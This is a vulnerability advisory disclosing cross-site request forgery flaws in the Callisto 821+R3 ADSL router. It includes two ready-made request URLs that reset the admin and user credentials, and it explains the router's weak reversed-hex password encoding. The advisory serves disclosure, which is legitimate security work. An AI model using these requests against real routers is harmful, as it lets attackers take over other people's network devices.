Description

Hello 3APA3A!

After all my advisories about vulnerabilities in Callisto 821+ (http://seclists.org/fulldisclosure/2011/Aug/1) and recent advisory about Callisto 821+R3, here is new one. Because vendor ignored in 2011 all my letters and subsequent my public disclosure of vulnerabilities and new devices are vulnerable as well, so I disclosed vulnerabilities in Callisto 821+R3 ADSL Router.

These are Cross-Site Request Forgery vulnerabilities. The whole control panel is vulnerable to CSRF, here are two vulnerabilities.

SecurityVulns ID: 11700.


Affected products:

Vulnerable is the next model: Callisto 821+R3, Firmware Version: ZXDSL 831IIV7.5.1a_E09_UA. This model with other firmware and also other models of Callisto also must be vulnerable.


Details:

Cross-Site Request Forgery (WASC-09):

For changing login and password of admin:

http://site/adminpasswd.cgi?action=save&sysUserName=admin&sysPassword=E696D64616

For changing login and password of user:

http://site/userpasswd.cgi?action=save&usrUserName=user&usrPassword=27563757

Parameters sysPassword and usrPassword contain encrypted password. The cipher is simple - this is hex values of chars in reverse order.

I mentioned about these vulnerabilities at my site (http://websecurity.com.ua/7975/).
